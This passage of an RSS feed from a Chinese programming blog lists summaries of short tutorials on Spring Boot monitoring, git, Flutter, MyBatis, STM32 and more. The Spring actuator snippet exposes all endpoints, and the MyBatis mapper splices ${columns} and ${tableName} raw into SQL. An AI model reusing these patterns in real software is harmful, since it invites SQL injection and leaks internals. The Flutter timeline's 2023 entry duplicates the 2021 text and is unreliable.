      <guid>https://bchobby.github.io/posts/7df7e8e43d25d677139f7cea883832fe/</guid>
      <description>一、Springboot项目配置 1. pom文件中导入如下依赖 &amp;lt;!--实现JVM数据监控--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--prometheus实现jvm数据采集--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.micrometer&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;micrometer-registry-prometheus&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2. 配置application.properties文件或者application.yml文件 2.1 配置application.properties文件 spring.application.name=springboot server.port=8080 management.endpoints.web.exposure.include=* management.metrics.tags.application=${spring.application.name} 2.2 配置application.yml文件 application: name: springboot management: endpoint: web: exposure: include: * metrics: tags: application: ${spring.application.name} 3. 添加监控JVM的bean配置，或者重新创建一个配置类 @SpringBootApplication public class JvmMonitorDemoApplication{ public static void main(String[] args) { SpringApplication.run(JvmMonitorDemoApplication.class, args); } /**监控jvm的配置*/ @Bean public MeterRegistryCustomizer&amp;lt;MeterRegistry&amp;gt; configurer(@Value(&#34;${spring.application.name}&#34;) String applicationName) { return registry -&amp;gt; registry.config().commonTags(&#34;application&#34;, applicationName); } } 创建配置类如下：&#xA;@Configuration public class JvmMonitorConfig { /**监控jvm的配置Bean*/ @Bean public MeterRegistryCustomizer&amp;lt;MeterRegistry&amp;gt; configurer(@Value(&#34;</description>
    </item>
    <item>
      <title>Webstorm使用git（windows10）</title>
      <link>https://bchobby.github.io/posts/55a1ed3a213e9ff19eed01801479ab73/</link>
      <pubDate>Tue, 11 Apr 2023 15:26:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55a1ed3a213e9ff19eed01801479ab73/</guid>
      <description>因为经常改代码有时候改的自己一脸懵逼直接重来，所以使用git就很便利了.&#xA;而网上大多都是苹果的分享…&#xA;相关版本:&#xA;windows10&#xA;WebStorm 2022.3.4&#xA;git version 2.29.2.windows.2&#xA;1.安装git及简单使用 安装链接: Git 详细安装教程（详解 Git 安装过程的每一个步骤）–mukes&#xA;简单使用: 史上最详细Git使用教程–最近比较烦。&#xA;2.Webstorm安装gitee插件 然后登录自己的gitee账号，这里我己经登录了，懒得退&#xA;点击第一个你就会跳出一个网页，正常登录授权就可以了&#xA;3.push项目 在Git下选择Gitee,也就是刚刚下载好的插件，然后选择Share Project on Gitee.&#xA;然后Webtorm就会帮我们自动建立好本地仓库、添加远程链接（其中远程仓库名称为项目名称）&#xA;然后马上会弹出一个窗口&#xA;第一次commit，在Message窗口写内容&#xA;去gitee就可以看到push成功了，如果后面要pull或者push直接用右上角三个按钮就可以了&#xA;✔是commit，建议取消勾选分析代码这些，这些耗损时间长且会报莫名其妙的错&#xA;然后，push到远程仓库去&#xA;点击三个按钮里面最右边的&#xA;最后就上传成功了！&#xA;4.总结 以gitee为例，github其实是一样的。熟悉掌握Webstorm中git运用，将会大大提高我们的效率。&#xA;最后，如果有错误，请在评论区指出，欢迎大家一起学习。&#xA;编辑于2023.4.10&#xA;修改与2023.4.11，找到了webstorm直接上传项目，而不是手动git。</description>
    </item>
    <item>
      <title>el-upload 二次上传没有反应，clearFiles不起作用</title>
      <link>https://bchobby.github.io/posts/47ef263e372fb88b6d922077e539d2ab/</link>
      <pubDate>Tue, 11 Apr 2023 15:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47ef263e372fb88b6d922077e539d2ab/</guid>
      <description> element Upload 上传文件只能上传一次 ，再次点击上传无反应的问题的坑,clearFiles()也不起作用&#xA;&amp;lt;el-upload class=&#34;upload-btn ml10 mr10&#34; ref=&#34;uploadfile&#34; action :limit=&#34;1&#34; accept=&#34;.xls, .xlsx&#34; :show-file-list=&#34;false&#34; :auto-upload=&#34;false&#34; :on-change=&#34;file =&amp;gt; importTable(file, row)&#34; :file-list=&#34;fileList&#34;&amp;gt; data() { return { fileList:[] } } importTable(file,item) { var data = new FormData(); data.append(&#34;file&#34;, file.raw); data.append(&#34;activityId&#34;, item.activityId); this.fileList = []//这里是重点，替换这个方法（this.$refs.uploadfile.clearFiles()） importUser(data).then(res =&amp;gt; { this.$message.success(&#34;文件导入成功&#34;); this.getlist()//更新列表 }) }, </description>
    </item>
    <item>
      <title>uniapp 设置底部不被覆盖</title>
      <link>https://bchobby.github.io/posts/a9e58c4f1c013df4447c397d10c26b16/</link>
      <pubDate>Tue, 11 Apr 2023 14:29:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9e58c4f1c013df4447c397d10c26b16/</guid>
      <description>中间列表部分，开启绝对定位，设置一下位置，并且overflow:auto 就可以滑动&#xA;.cartList {&#x9;position: absolute; bottom: 80rpx; overflow: auto; } 底部位置&#xA;.total{ z-index: 999; position: fixed; bottom: 0; height:80rpx; } 效果</description>
    </item>
    <item>
      <title>Flutter基础入门</title>
      <link>https://bchobby.github.io/posts/e967bd7e49aba50be4f62a56435f44ef/</link>
      <pubDate>Tue, 11 Apr 2023 14:27:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e967bd7e49aba50be4f62a56435f44ef/</guid>
      <description>文章目录 一、Flutter基础知识1.Flutter简介和发展历史2.Flutter安装和配置3.Dart语言基础知识Dart语言特性Dart基本语法空安全 Null safetyDart异步原理 4.Flutter项目结构和文件组织方式5.Flutter Widgets和布局基础 二、Flutter进阶知识1.Flutter状态管理和数据传递2.Flutter动画和过渡效果隐式（全自动）动画AnimatedContainerTweenAnimationBuilder 显示（手动控制）动画自定义显示动画：AnimatedBuidler 3.Flutter网络请求和数据解析网络请求框架数据解析 4.Flutter本地存储和数据缓存5.Flutter渲染和性能优化渲染流程常见的内存溢出和内存泄漏的场景优化检测工具Flutter布局优化常规优化深入光栅化优化 Flutter内存优化 6.Flutter代码结构和代码质量把控 三、常用插件和第三方库好用的状态管理好用的网络请求好用的图片加载好用的音视频好用的控件好用的工具类好用的动画好用的数据存储好用的事件传递好用的三方sdk好用的编译器插件 四、可能有用的小技巧 一、Flutter基础知识 1.Flutter简介和发展历史 Flutter是一款由Google开发的移动应用程序开发框架，可用于开发高性能、跨平台的移动应用程序。Flutter使用Dart编程语言，并提供了丰富的UI组件和工具，使得开发者可以快速构建漂亮、响应式的用户界面和高质量的应用程序。&#xA;Flutter的发展历史可以分为以下几个阶段：&#xA;2011年，Dart语言项目启动，旨在提供一种适用于Web开发的高性能编程语言。&#xA;2015年，Flutter项目启动，旨在使用Dart语言构建高性能、跨平台的应用程序。&#xA;2017年，Flutter的第一个Alpha版本发布，开发者可以开始尝试使用Flutter构建应用程序。&#xA;2018年，Flutter的第一个稳定版本发布，得到了广泛的认可和采用。&#xA;2019年，Flutter 1.5发布，增加了对iOS13和Android Q的支持，以及许多其他改进和 新功能。&#xA;2020年，Flutter 1.20发布，引入了新的Web支持和iOS14和Android 11的支持，以及其他改进和新功能。&#xA;2021年，Flutter2.0发布，引入了许多重要的新功能，包括全新的Web支持、桌面应用程序支持、Flutter for Windows等。&#xA;2023年，Flutter3.0发布，引入了许多重要的新功能，包括全新的Web支持、桌面应用程序支持、Flutter for Windows等。&#xA;截止到2023年3月，由于Flutter生态系统的不断发展，Flutter在Google Play Store和Apple App Store上已经有超过400,000款应用程序上线。同时，Flutter还正在扩展到其他领域，例如Web开发和桌面应用程序开发，这些领域的应用程序数量也在不断增长。由于Flutter是一个开源框架，许多公司和个人也在使用Flutter构建自己的应用程序，并且Flutter的生态系统也在不断扩大，因此Flutter上线的应用程序数量可能会随着时间的推移而继续增长。&#xA;2.Flutter安装和配置 以下是安装和配置Flutter的步骤，以Windows为例：&#xA;下载Flutter SDK 可以在Flutter的官方网站上下载Flutter SDK。下载完成后，将其解压到您选择的目录中，例如在Windows上，您可以将其解压到 C:\src\flutter。&#xA;配置Flutter环境变量&#xA;将Flutter SDK的路径添加到PATH环境变量中，以便在终端中可以使用flutter命令。例如，在Windows上，您可以将C:\src\flutter\bin添加到系统环境变量的PATH变量中。&#xA;下载开发工具并安装Flutter插件&#xA;如果您使用的是Android Studio或IntelliJ IDEA，您需要安装Flutter插件以便在IDE中开发Flutter应用程序。打开IDE，进入插件设置，搜索“Flutter”，然后安装并重启IDE即可。&#xA;运行Flutter Doctor&#xA;打开终端或命令提示符，并输入“flutter doctor”命令，以检查Flutter环境的配置情况。Flutter doctor会检查您的环境并给出建议以解决任何缺失的依赖项或配置问题。&#xA;配置Android开发环境&#xA;如果您要在Flutter中开发Android应用程序，您需要安装并配置Android开发环境。您可以在Android开发者网站上获取有关如何安装和配置Android开发环境的更多信息。&#xA;以上是在Windows上安装和配置Flutter的基本步骤。完成这些步骤后，您就可以开始使用Flutter构建应用程序了。&#xA;3.Dart语言基础知识 Dart语言特性 Dart 的特性&#xA;Dart 是少数同时支持 JIT（Just In Time，即时编译）和 AOT（Ahead of Time，运行前编译）的语言之一。语言在运行之前通常都需要编译，JIT 和 AOT 则是最常见的两种编译模式。</description>
    </item>
    <item>
      <title>SCADE Display（OpenGL）软件设计文档生成工具的设计考虑</title>
      <link>https://bchobby.github.io/posts/6d942ac417d85e4b2b13b5622b696727/</link>
      <pubDate>Tue, 11 Apr 2023 09:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d942ac417d85e4b2b13b5622b696727/</guid>
      <description>SCADE Display（OpenGL）软件设计文档生成工具的设计考虑&#xA;2018年6月&#xA;1 引言 本文档描述在SCADE Display软件设计文档生成工具（以下简称为SDYSDDGEN）的设计过程中考虑到的一些问题及其解决方案。&#xA;2 目标 SDYSDDGEN的目标设定为：&#xA;生成SCADE Display软件模型的软件设计文档（以下简称为SDYSDD）SDYSDD要符合DO-178B/C或GJB438B对软件设计文档的要求SDYSDD要符合用户单位的软件设计文档模板的要求SDYSDD使用中文或英文SDYSDD的文件格式是MS OFFICE的word或excelSDYSDD易于导入到DOORS 3 术语 SCADE Display的官方工具SDYReporter生成的文档使用表1中的术语。&#xA;表1&#xA;术语&#xA;定义&#xA;SGFX file&#xA;A file that corresponds to a display specification.&#xA;OGFX file&#xA;A file describing a part of a display specification and that can be used as a reference object.&#xA;layer&#xA;A layer is composed of a set of objects and has a transparent background. Superimposing layers allows to display complex images.</description>
    </item>
    <item>
      <title>GitHub中图片无法正常显示</title>
      <link>https://bchobby.github.io/posts/f55c7bc0297be848ebee820d6db5fb4d/</link>
      <pubDate>Tue, 11 Apr 2023 09:45:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f55c7bc0297be848ebee820d6db5fb4d/</guid>
      <description>修改host文件内容 。C:\Windows\System32\drivers\etc 目录下&#xA;修改host权限，使能够编辑&#xA;将所有关于GitHub的注释掉&#xA;# GitHub Start&#xA;192.30.253.112 github.com&#xA;192.30.253.119 gist.github.com&#xA;151.101.184.133 assets-cdn.github.com&#xA;151.101.184.133 raw.githubusercontent.com&#xA;151.101.184.133 gist.githubusercontent.com&#xA;151.101.184.133 cloud.githubusercontent.com&#xA;151.101.184.133 camo.githubusercontent.com&#xA;151.101.184.133 avatars0.githubusercontent.com&#xA;151.101.184.133 avatars1.githubusercontent.com&#xA;151.101.184.133 avatars2.githubusercontent.com&#xA;151.101.184.133 avatars3.githubusercontent.com&#xA;151.101.184.133 avatars4.githubusercontent.com&#xA;151.101.184.133 avatars5.githubusercontent.com&#xA;151.101.184.133 avatars6.githubusercontent.com&#xA;151.101.184.133 avatars7.githubusercontent.com&#xA;151.101.184.133 avatars8.githubusercontent.com&#xA;151.101.208.133 user-images.githubusercontent.com&#xA;# GitHub End&#xA;将上诉内容编辑到host当中， 其中github.com，gist.github.com的IP需要在https://www.ipaddress.com/ 中获取，</description>
    </item>
    <item>
      <title>IDEA工具避坑指南(十一)：git导入SpringBoot后|不识别依赖 |大量爆红 | 无法启动</title>
      <link>https://bchobby.github.io/posts/e837407d3d32874399b98b198175f594/</link>
      <pubDate>Tue, 11 Apr 2023 08:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e837407d3d32874399b98b198175f594/</guid>
      <description>一、前言 使用在IDEA2019中，使用Git工具导入SpringBoot项目后，java类的依赖包大量爆红、不能启动SpringBoot，不能自动识别启动类。&#xA;提示：如果刚拉取的项目，只有.git和.idea文件，没有src或java目录，点击进入！&#xA;二、错误描述 2.1 启动图标是灰色的，不能启 2.2 启动入口类不被识别，没有启动的绿色图标 2.3 配置启动入口时，报错，无法配置，无法点击确定按钮 点击IDEA右上角的，依次点击Add Configuration，在弹出窗口依次点击Templates，在下拉列表中找到SpringBoot选项&#xA;2.4 java、resource、test文件不被识别为不同的资源文件类型 2.5 各种神操作后，大量引入包爆红，不被识别 不忍直视（略过~~） 三、成果展示 再点开Add Configuration看一下配置，也正常了&#xA;四、解决方案 热身动作 1、配置Maven和Maven的setting.xml配置文件(不要使用IDEA默认的) 快捷键：ctrl+Alt+s，打开设置，修改maven的安装位置&#xA;更多maven配置，如需帮助，点击下方链接&#xA;点击进入：Maven环境配置、Maven在IDEA中的配置(参考一、1.2章节)&#xA;2、在工程目录下，鼠标右键pom.xml，Add as Maven Project 操作后，一定要先Reimport一下&#xA;3、给工程本身配置各种JDK 快捷键：Ctrl+Alt+Shift+s&#xA;提示：不局限于以下两处，JDK配置比较简单，自己脑补一下&#xA;---------------￥￥￥￥￥￥￥￥￥如果热身动作不能解决，继续向下看 ￥￥￥￥￥￥-----------------&#xA;务必知晓，上面的热身动作都处理过了，再看下面的方案，否则下面方案可能不适合你！！！&#xA;方案一（推荐） 做完上面的热身&#xA;Ctrl+Alt+Shift+S，打开Project Structure项目结构，不出意外会看到下面的目录结构：&#xA;问题根源就在这里，需要删除一套，分析如下：&#xA;分别点击两个模块，看到两个模块下都有一套相同的java代码&#xA;此时，需要删除一套，我这里删除待项目名称的这套（本质上，它不属于模块，是模块的领导层），移除时，会有提示，直接确定即可。&#xA;最后，点击弹出框底部的确定按钮&#xA;特别提示：如果你的资源文件图标，没有特别标注，按如下步骤，自己标注一下。&#xA;操作步骤：&#xA;1）先点击下面的java文件夹，然后点击中间的源码图标；&#xA;2）再点击下面的resources，然后点击中间的Resources图标；&#xA;3）最后点击下面的test文件夹，然后点击中间的test图标；&#xA;4) 点击该窗口的“确定”按钮。&#xA;至此，一般情况下，步骤进行到这里，问题就完全解决了，效果如下：&#xA;选择启动模块，没有这个操作，启动时会提示找不到启动模块。&#xA;如下图所示，勾选一下需启动的模块&#xA;同时，勾选下面的小对钩&#xA;拓展1：如果启动项目时，遇到如下错误，解决步骤如下 IntelliJ IDEA Debug时报错&#xA;Cannot start compilation: the output path is not specified for module “NewFrameWork2023&#34;</description>
    </item>
    <item>
      <title>mac 远程连接windows系统</title>
      <link>https://bchobby.github.io/posts/0190405e3efa98857272a8884519e785/</link>
      <pubDate>Mon, 10 Apr 2023 19:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0190405e3efa98857272a8884519e785/</guid>
      <description>目录 mac 远程连接windows系统 下载地址安装 mac 远程连接windows系统 微软官方专门为Mac用户提供了一款类Windows mstsc的远程桌面工具——Microsoft Remote Desktop for mac，专门用于远程控制Windows桌面。&#xA;但是。苹果Appstore中国区无法搜索到该软件(不知道什么原因)。&#xA;基本上，大部分使用Microsoft Remote Desktop for mac的朋友，都是从第三方网站下载，其实，微软是提供了该软件的官方下载URL的。&#xA;下载地址 官网下载地址&#xA;安装 对与mac来说，是下载即可以使用的&#xA;把它挪到应用程序里，每次打开桌面就能直接使用了</description>
    </item>
    <item>
      <title>运用Mybatis动态查询字段及表名</title>
      <link>https://bchobby.github.io/posts/155755de9b3581f825e9fd9294a29ede/</link>
      <pubDate>Mon, 10 Apr 2023 18:30:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/155755de9b3581f825e9fd9294a29ede/</guid>
      <description>Mapper.java&#xA;IPage&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; getDyData(@Param(&#34;page&#34;) Page page, @Param(&#34;columns&#34;)String columns, @Param(&#34;tableName&#34;)String tableName); Mapper.xml&#xA;&amp;lt;select id=&#34;getDyData&#34; resultType=&#34;java.util.Map&#34;&amp;gt; select ${columns} from ${tableName} dy &amp;lt;/select&amp;gt; 使用场景：&#xA;1.我们必须知道查询的表名，可以通过表名查询字段及注释，然后把表名和字段传进mapper&#xA;2.如果知道具体查询哪些表，可以把这些表及表对应的字段配置进一张表和字段对应的表中，通过表名查询该表取出对应的字段及注释，此处的字段注释可以自己写相对比较灵活。&#xA;DROP TABLE IF EXISTS `table_colume_mapping`; CREATE TABLE `table_colume_mapping` ( `table_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;表名&#39;, `column_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;字段名&#39;, `column_comment` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;字段汉语名&#39;, `table_comment` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;表名注释&#39;, `sort` int(10) NULL DEFAULT NULL COMMENT &#39;字段排序&#39;, `show_column` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT &#39;是&#39; COMMENT &#39;是否展示在列&#39;, `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT &#39;0&#39; COMMENT &#39;0存在1删除&#39; ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = &#39;表字段注释映射&#39; ROW_FORMAT = Dynamic; SET FOREIGN_KEY_CHECKS = 1; 调用 LambdaQueryWrapper&amp;lt;TableColumeMapping&amp;gt; wrapper = new LambdaQueryWrapper&amp;lt;&amp;gt;(); wrapper.</description>
    </item>
    <item>
      <title>vue 启动项目报错Cannot read properties of undefined (reading ‘parseComponent‘）</title>
      <link>https://bchobby.github.io/posts/fc50f30657bc9c6c3ced3637705c9641/</link>
      <pubDate>Mon, 10 Apr 2023 16:54:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc50f30657bc9c6c3ced3637705c9641/</guid>
      <description>如果出现如下报错大概率是因为install时中途出现异常导致vue-template-compiler依赖没有正常安装导致的，重新安装即可 Syntax Error: TypeError: Cannot read properties of undefined (reading &#39;parseComponent&#39;) You may use special comments to disable some warnings. Use // eslint-disable-next-line to ignore the next line. Use /* eslint-disable */ to ignore all warnings in a file. 1、 yarn add vue-template-compiler&#xA;或 npm add vue-template-compiler&#xA;2、最后如果还是不行就再用&#xA;yarn upgrade –latest vue-template-compiler&#xA;npm upgrade –latest vue-template-compiler</description>
    </item>
    <item>
      <title>Java基础之回调</title>
      <link>https://bchobby.github.io/posts/ad0f9cd5b2001085eea0f33519792f8e/</link>
      <pubDate>Mon, 10 Apr 2023 15:47:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad0f9cd5b2001085eea0f33519792f8e/</guid>
      <description>回调函数是一种函数指针，它指向了另一个函数的地址。回调函数通常会在某些特定事件发生时被调用，这些事件可以是用户输入、系统消息等等。在Java中，回调函数可以通过接口来实现。&#xA;下面是一个简单的Java回调函数示例：&#xA;public interface Callback { public void execute(); } public class Caller { public void call(Callback callback) { // do something callback.execute(); } } public class Main { public static void main(String[] args) { Caller caller = new Caller(); Callback callback = new Callback() { @Override public void execute() { System.out.println(&#34;Callback executed&#34;); } }; caller.call(callback); } } 在这个示例中，我们定义了一个接口Callback，并实现了一个实现它的接口Caller。Caller类有一个call方法，它接受一个Callback参数，并在该方法内部调用execute方法。在Main类中，我们创建一个回调函数对象callback，并将其传递给Caller类的call方法。&#xA;当Caller类的call方法被调用时，它会调用传递给它的回调函数，并执行回调函数中的代码。在本例中，回调函数只是简单地输出了一条消息，但在实际应用中，回调函数可以执行任何功能。&#xA;这个例子展示了回调函数的基本概念和用法。在Java中，回调函数通常用于实现异步事件处理和插件架构等功能。&#xA;控制台将输出以下结果：&#xA;Callback executed 这是回调函数中定义的输出语句。当Caller类的call方法被调用时，它会调用传递给它的回调函数，也就是Callback.execute()方法，执行回调函数中的代码。在这个例子中，回调函数只是简单地输出了一条消息，因此控制台会输出这个消息。&#xA;回调函数的优点包括：&#xA;灵活性。回调函数允许应用程序在运行时动态地改变程序行为，而无需修改代码。解耦性。通过使用回调函数，应用程序的不同部分可以独立发展，而不会相互影响。代码复用。回调函数可以被多个应用程序共享，以实现相似的行为。 常用于异步事件触发。当异步事件完成时，回调函数被调用。例如，当文件下载完成时，回调函数可以用来通知应用程序。&#xA;还有使用mq的时候当消息出错时，例如，如果使用MessageListenerOrderly接口，当消息消费出错时，会调用MessageListenerOrderly接口的onMessage方法的ConsumeOrderlyContext#setSuspendCurrentQueueTimeMillis方法，该方法可以设置消息暂停消费的时间，然后进行重新消费。如果多次消费仍然出错，则可以将消息写入死信队列进行处理。</description>
    </item>
    <item>
      <title>单片机实现非阻塞延时</title>
      <link>https://bchobby.github.io/posts/d89e27d057614d773873e55ef52572ee/</link>
      <pubDate>Mon, 10 Apr 2023 14:11:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d89e27d057614d773873e55ef52572ee/</guid>
      <description>非阻塞式延时是指程序在执行延时函数时可以继续执行其他任务，不会一直等待。&#xA;E_Bool Ticker_Out(u32 *pTicker, u32 uCompareValue) { u32 uTicks = 0; uTicks = BSP_Get_SysTick(); if(0 == uCompareValue) { *pTicker = uTicks; return True;&#x9;} else { if(uTicks &amp;gt;= (*pTicker)) { uTicks = uTicks - (*pTicker); } else { uTicks = (U32_MAX_VALUE - (*pTicker)) + uTicks; } if (uTicks &amp;gt;= uCompareValue) { return True; } } return False; } 上述代码中，BSP_Get_SysTick（）是得到在滴答定时器中断函数中计数的值：&#xA;u32 BSP_Get_SysTick(void) { return gSystickTimes; /* 获取系统心跳 */ } void SysTick_Handler(void) { gSystickTimes++; /* 系统心跳计数 */ } 具体使用：</description>
    </item>
    <item>
      <title>[STM32F103C8T6] 串口</title>
      <link>https://bchobby.github.io/posts/9cb0bc6e5c60d8d4e56dfc41f5b60eb4/</link>
      <pubDate>Mon, 10 Apr 2023 13:10:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cb0bc6e5c60d8d4e56dfc41f5b60eb4/</guid>
      <description>1.非中断串口发送数据 串口发送/接收函数：&#xA;HAL_UART_Transmit(); 串口发送数据，使用超时管理机制&#xA;HAL_UART_Receive(); 串口接收数据，使用超时管理机制&#xA;HAL_UART_Transmit_IT(); 串口中断模式发送 HAL_UART_Receive_IT(); 串口中断模式接收&#xA;HAL_StatusTypeDef HAL_UART_Transmit(UART_HandleTypeDef *huart, uint8_t *pData, uint16_t Size, uint32_t Timeout)&#xA;作用：以阻塞的方式发送指定字节的数据 形参 1 ：UART_HandleTypeDef 结构体类型指针变量 形参 2：指向要发送的数据地址 形参 3：要发送的数据大小，以字节为单位 形参 4：设置的超时时间，以ms单位&#xA;HAL_StatusTypeDef HAL_UART_Receive_IT(UART_HandleTypeDef *huart, uint8_t *pData, uint16_t Size)&#xA;作用：以中断的方式接收指定字节的数据 形参 1 是 UART_HandleTypeDef 结构体类型指针变量 形参 2 是指向接收数据缓冲区 形参 3 是要接收的数据大小，以字节为单位&#xA;此函数执行完后将清除中断，需要再次调用以重新开启中断。&#xA;代码实现&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; unsigned char ch[20] = {0}; int fputc(int ch, FILE *f) { unsigned char temp[1]={ch}; HAL_UART_Transmit(&amp;amp;huart1,temp,1,0xffff); return ch; } main函数里： unsigned char ch[20] = {0}; HAL_UART_Transmit(&amp;amp;huart1, &#34;</description>
    </item>
    <item>
      <title>openpyxl使用方法</title>
      <link>https://bchobby.github.io/posts/23925834be3dd7e57d8285083f4036cc/</link>
      <pubDate>Mon, 10 Apr 2023 12:51:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23925834be3dd7e57d8285083f4036cc/</guid>
      <description>1.创建Excel文档&#xA;首先我们需要安装openpyxl库：&#xA;pip install openpyxl 然后使用下面代码创建一个新的Excel文档：&#xA;import openpyxl workbook = openpyxl.Workbook() workbook.save(&#39;test.xlsx&#39;) 这样我们就创建了一个名为test.xlsx的Excel文档。&#xA;2.打开Excel文档&#xA;下面是打开一个已有的Excel文档的代码：&#xA;import openpyxl workbook = openpyxl.load_workbook(&#39;test.xlsx&#39;) 这里我们打开了之前创建的test.xlsx文档。&#xA;3.获取工作表&#xA;Excel文档中可以包含多个工作表，我们首先需要获取到指定的工作表，才能对其进行操作。&#xA;获取工作表的代码如下：&#xA;import openpyxl workbook = openpyxl.load_workbook(&#39;test.xlsx&#39;) worksheet = workbook[&#39;Sheet1&#39;] # 获取名为“Sheet1”的工作表对象 这里我们获取了名为Sheet1的工作表对象。&#xA;4.读取单元格数据&#xA;我们可以通过工作表对象的cell()方法获取单元格对象，然后获取该单元格对象的value属性，即可读取该单元格的值。这里我们读取A1单元格的数据：&#xA;import openpyxl workbook = openpyxl.load_workbook(&#39;test.xlsx&#39;) worksheet = workbook[&#39;Sheet1&#39;] cell = worksheet.cell(row=1, column=1) print(cell.value) 5.写入单元格数据&#xA;我们同样可以通过工作表对象的cell()方法获取单元格对象，并给该单元格对象的value属性赋值，即可写入数据。&#xA;import openpyxl workbook = openpyxl.load_workbook(&#39;test.xlsx&#39;) worksheet = workbook[&#39;Sheet1&#39;] cell = worksheet.cell(row=1, column=1) cell.value = &#39;Hello, World!&#39; workbook.save(&#39;test.xlsx&#39;) 这里我们将A1单元格的值改为Hello, World!</description>
    </item>
    <item>
      <title>SpringSecurity简介</title>
      <link>https://bchobby.github.io/posts/d8732fb0976e2322e553488d89676281/</link>
      <pubDate>Mon, 10 Apr 2023 11:54:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8732fb0976e2322e553488d89676281/</guid>
      <description>一、什么是Spring Security？ springsecurity是一个功能强大且高度可定制的身份验证和访问控制框架。springsecurity是一个专注于为Java应用程序提供身份验证和授权的框架。与所有Spring项目一样，Spring安全性的真正威力在于它可以很容易地扩展以满足定制需求。&#xA;实际上，在Spring boot出现之前，Spring security已经发展了很多年，到那时由于强大的shiro，它一直不温不火。因为相对于Shiro，在SSH/SSM中整合Spring Security都是比较麻烦的操作，然而自从有了 Spring Boot 之后，Spring Boot 对于 Spring Security 提供了 自动化配置方案，可以零配置使用 Spring Security。&#xA;所以一般的推荐方案是：&#xA;SSM + ShiroSpring boot/Spring Cloud + Spring Security 二、Spring Security 原理解析 Spring Security对Web资源的保护是靠Filter实现的。当初始化Spring Security时，会创建一个名为 springSecurityFilterChain 的Servlet过滤器，类型为org.springframework.security.web.FilterChainProxy，它实现了javax.servlet.Filter，因此外部的请求会经过此 类，下图是Spring Security过虑器链结构图：&#xA;filter实现的security 这里FilterChainProxy是一个代理，真正起作用的是FilterChainProxy中SecurityFilterChain所包含的各个Filter，同时 这些Filter作为Bean被Spring管理，它们是Spring Security核心，各有各的职责，但他们并不直接处理用户的认 证，也不直接处理用户的授权，而是把它们交给了认证管理器（AuthenticationManager）和决策管理器 （AccessDecisionManager）进行处理。&#xA;所以spring Security功能的实现主要是由一系列过滤器链相互配合完成，如下图：&#xA;Spring Security Filters SecurityContextPersistenceFilter ：这个Filter是整个拦截过程的入口和出口（也就是第一个和最后一个拦截 器），会在请求开始时从配置好的 SecurityContextRepository 中获取 SecurityContext，然后把它设置给 SecurityContextHolder。在请求完成后将 SecurityContextHolder 持有的 SecurityContext 再保存到配置好的 SecurityContextRepository，同时清除 securityContextHolder 所持有的 SecurityContext。UsernamePasswordAuthenticationFilter ：用于处理来自表单提交的认证。该表单必须提供对应的用户名和密码，其内部还有登录成功或失败后进行处理的 AuthenticationSuccessHandler 和 AuthenticationFailureHandler，这些都可以根据需求做相关改变。FilterSecurityInterceptor： 是用于保护web资源的，使用AccessDecisionManager对当前用户进行授权访问 这里需要重点讨论的有两个概念，身份认证和授权。这也是Spring Security的主要职责。</description>
    </item>
    <item>
      <title>论文pdf高清图必看，Word 转PDF图片不清晰解决方法</title>
      <link>https://bchobby.github.io/posts/f5b4f4b1ed7c84e6a5e3da361818c856/</link>
      <pubDate>Mon, 10 Apr 2023 10:53:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5b4f4b1ed7c84e6a5e3da361818c856/</guid>
      <description> 符合期刊要求且可编辑的图&#xA;找了好多攻略发现word很清晰的图，到pdf就不清楚了试了很多方法&#xA;发现把图片导出为emf格式插入word,在转pdf后放大就非常高清&#xA;放下对比图&#xA;之前的方法设置Word 转PDF图片不清晰解决方法 - 知乎&#xA;保存为pdf还是很糊 </description>
    </item>
    <item>
      <title>typescript 交叉类型</title>
      <link>https://bchobby.github.io/posts/21f4b9c3a3527013c0aa5cf04d2539de/</link>
      <pubDate>Mon, 10 Apr 2023 10:14:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21f4b9c3a3527013c0aa5cf04d2539de/</guid>
